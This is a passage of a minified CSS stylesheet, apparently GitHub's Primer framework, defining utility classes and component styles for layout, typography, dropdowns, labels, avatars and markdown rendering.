!important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}.pt-xl-7{padding-top:48px !important}.pr-xl-7{padding-right:48px !important}.pb-xl-7{padding-bottom:48px !important}.pl-xl-7{padding-left:48px !important}.py-xl-7{padding-top:48px !important;padding-bottom:48px !important}.pt-xl-8{padding-top:64px !important}.pr-xl-8{padding-right:64px !important}.pb-xl-8{padding-bottom:64px !important}.pl-xl-8{padding-left:64px !important}.py-xl-8{padding-top:64px !important;padding-bottom:64px !important}.pt-xl-9{padding-top:80px !important}.pr-xl-9{padding-right:80px !important}.pb-xl-9{padding-bottom:80px !important}.pl-xl-9{padding-left:80px !important}.py-xl-9{padding-top:80px !important;padding-bottom:80px !important}.pt-xl-10{padding-top:96px !important}.pr-xl-10{padding-right:96px !important}.pb-xl-10{padding-bottom:96px !important}.pl-xl-10{padding-left:96px !important}.py-xl-10{padding-top:96px !important;padding-bottom:96px !important}.pt-xl-11{padding-top:112px !important}.pr-xl-11{padding-right:112px !important}.pb-xl-11{padding-bottom:112px !important}.pl-xl-11{padding-left:112px !important}.py-xl-11{padding-top:112px !important;padding-bottom:112px !important}.pt-xl-12{padding-top:128px !important}.pr-xl-12{padding-right:128px !important}.pb-xl-12{padding-bottom:128px !important}.pl-xl-12{padding-left:128px !important}.py-xl-12{padding-top:128px !important;padding-bottom:128px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media(min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media(min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media(min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media(min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media(min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media(min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media(min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media(min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media(min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media(min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media(min-width: 768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media(min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media(min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media(min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}@media(min-width: 544px){.lh-sm-condensed-ultra{line-height:1 !important}.lh-sm-condensed{line-height:1.25 !important}.lh-sm-default{line-height:1.5 !important}.lh-sm-0{line-height:0 !important}}@media(min-width: 768px){.lh-md-condensed-ultra{line-height:1 !important}.lh-md-condensed{line-height:1.25 !important}.lh-md-default{line-height:1.5 !important}.lh-md-0{line-height:0 !important}}@media(min-width: 1012px){.lh-lg-condensed-ultra{line-height:1 !important}.lh-lg-condensed{line-height:1.25 !important}.lh-lg-default{line-height:1.5 !important}.lh-lg-0{line-height:0 !important}}@media(min-width: 1280px){.lh-xl-condensed-ultra{line-height:1 !important}.lh-xl-condensed{line-height:1.25 !important}.lh-xl-default{line-height:1.5 !important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre 